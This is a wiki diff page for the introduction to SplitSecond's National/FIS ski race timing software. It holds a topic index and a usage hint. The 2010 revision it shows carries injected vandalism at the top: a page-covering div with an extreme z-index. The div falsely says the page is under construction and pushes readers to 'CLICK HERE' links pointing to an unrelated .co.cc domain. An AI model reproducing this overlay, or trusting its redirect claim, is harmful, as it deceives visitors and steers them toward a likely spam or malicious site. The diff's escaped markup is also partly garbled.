National FIS Software : Introduction: Difference between revisions

From SplitSecond
Jump to navigation Jump to search
No edit summary
Line 1: Line 1:
----
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
----
=[http://ekygelymib.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
----
=[http://ekygelymib.co.cc CLICK HERE]=
----
</div>
The National / FIS Software should be used for any alpine, snowboard, cross country, or masters events that are sanctioned by a national governing body (USSA, ACA, NZSA etc.), or FIS.
The National / FIS Software should be used for any alpine, snowboard, cross country, or masters events that are sanctioned by a national governing body (USSA, ACA, NZSA etc.), or FIS.


Line 4: Line 12:




<div style="background-color:LightGray; -moz-border-radius:15px;">
&lt;div style=&quot;background-color:LightGray; -moz-border-radius:15px;&quot;&gt;
::'''HINT:''' As with all software, the best way to learn is to dive in and practice. To get comfortable with what the software can do, it's suggested that you do one or more test races from start to finish. The software is very intuitive to use, but becoming comfortable with it does take some practice... If you get stuck with something in the software and can't find the solution here, please [http://www.splitsecond.com/contact.php contact us]!
::'''HINT:''' As with all software, the best way to learn is to dive in and practice. To get comfortable with what the software can do, it's suggested that you do one or more test races from start to finish. The software is very intuitive to use, but becoming comfortable with it does take some practice... If you get stuck with something in the software and can't find the solution here, please [http://www.splitsecond.com/contact.php contact us]!
</div>
&lt;/div&gt;


===Sections===
===Sections===


*[[National FIS Software : Installation|Installation & Updates]]
*[[National FIS Software : Installation|Installation &amp; Updates]]
*[[National FIS Software : Defaults|Defaults]]
*[[National FIS Software : Defaults|Defaults]]
*[[National FIS Software : Files|Files (races)]]
*[[National FIS Software : Files|Files (races)]]
Line 19: Line 27:
*[[National FIS Software : Competitors|Competitors]]
*[[National FIS Software : Competitors|Competitors]]
**[[National FIS Software : Competitors Block|Working with Blocks of Competitors]]
**[[National FIS Software : Competitors Block|Working with Blocks of Competitors]]
**[[National FIS Software : Competitors Insert Edit|Insert & Edit]]
**[[National FIS Software : Competitors Insert Edit|Insert &amp; Edit]]
**[[National FIS Software : Competitors Block Edit|Block Edit]]
**[[National FIS Software : Competitors Block Edit|Block Edit]]
**[[National FIS Software : Competitors Delete Find Move|Delete, Find, & Move]]
**[[National FIS Software : Competitors Delete Find Move|Delete, Find, &amp; Move]]
**[[National FIS Software : Competitors Hide Expose|Hide & Expose]]
**[[National FIS Software : Competitors Hide Expose|Hide &amp; Expose]]
**[[National FIS Software : Competitors Sort|Sorting]]
**[[National FIS Software : Competitors Sort|Sorting]]
**[[National FIS Software : Competitors TOD Fix|TOD Fix]]
**[[National FIS Software : Competitors TOD Fix|TOD Fix]]
Line 37: Line 45:
***[[National FIS Software : Competitors Other Reload Points|Reload Points]]
***[[National FIS Software : Competitors Other Reload Points|Reload Points]]
***[[National FIS Software : Competitors Other EET|EET]]
***[[National FIS Software : Competitors Other EET|EET]]
<!--***[[National FIS Software : Competitors Other Judges Scores|Judges Scores (Snowboard)]]-->
&lt;!--***[[National FIS Software : Competitors Other Judges Scores|Judges Scores (Snowboard)]]--&gt;
<!--***[[National FIS Software : Competitors Other BX Ranks|BX Ranks (Snowboard)]]-->
&lt;!--***[[National FIS Software : Competitors Other BX Ranks|BX Ranks (Snowboard)]]--&gt;
***[[National FIS Software : Competitors Other Start Times|Start Times (CC)]]
***[[National FIS Software : Competitors Other Start Times|Start Times (CC)]]
***[[National FIS Software : Competitors Other Pursuit|2 Day Pursuit (CC)]]
***[[National FIS Software : Competitors Other Pursuit|2 Day Pursuit (CC)]]
Line 44: Line 52:
*[[National FIS Software : Edit Options|Edit|Options]]
*[[National FIS Software : Edit Options|Edit|Options]]
*[[National FIS Software : Timing|Timing]]
*[[National FIS Software : Timing|Timing]]
**[[National FIS Software : Timing Setup|Setup & Test]]
**[[National FIS Software : Timing Setup|Setup &amp; Test]]
**[[Timers|Timers]]
**[[Timers|Timers]]
**[[National FIS Software : Managing The Race|Managing The Race]]
**[[National FIS Software : Managing The Race|Managing The Race]]
**[[National FIS Software : Intervals & Speed Traps|Intervals & Speed Traps]]
**[[National FIS Software : Intervals &amp; Speed Traps|Intervals &amp; Speed Traps]]
*[[National FIS Software : Import|Import]]
*[[National FIS Software : Import|Import]]
*[[National FIS Software : Export|Export]]
*[[National FIS Software : Export|Export]]
*[[National FIS Software : Live-Timing|Live-Timing]]
*[[National FIS Software : Live-Timing|Live-Timing]]
*[[National FIS Software : Toolbox|Toolbox]]
*[[National FIS Software : Toolbox|Toolbox]]
<!--*[[National FIS Software : Snowboard|Snowboard]]-->
&lt;!--*[[National FIS Software : Snowboard|Snowboard]]--&gt;
*[[National FIS Software : Cross Country|Cross Country]]
*[[National FIS Software : Cross Country|Cross Country]]
<!--*[[National FIS Software : Masters|Masters]]-->
&lt;!--*[[National FIS Software : Masters|Masters]]--&gt;

Revision as of 06:40, 24 November 2010



This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page


CLICK HERE


The National / FIS Software should be used for any alpine, snowboard, cross country, or masters events that are sanctioned by a national governing body (USSA, ACA, NZSA etc.), or FIS.

The software has everything needed to manage races and events, from processing entries through producing final results. There's no simple path to follow through the software, since needs vary from event to event. You need to know what you need to get done, and the tool to do it, is most likely available in the software.


<div style="background-color:LightGray; -moz-border-radius:15px;">

HINT: As with all software, the best way to learn is to dive in and practice. To get comfortable with what the software can do, it's suggested that you do one or more test races from start to finish. The software is very intuitive to use, but becoming comfortable with it does take some practice... If you get stuck with something in the software and can't find the solution here, please contact us!

</div>

Sections

<!--***Judges Scores (Snowboard)--> <!--***BX Ranks (Snowboard)-->

<!--*Snowboard-->

<!--*Masters-->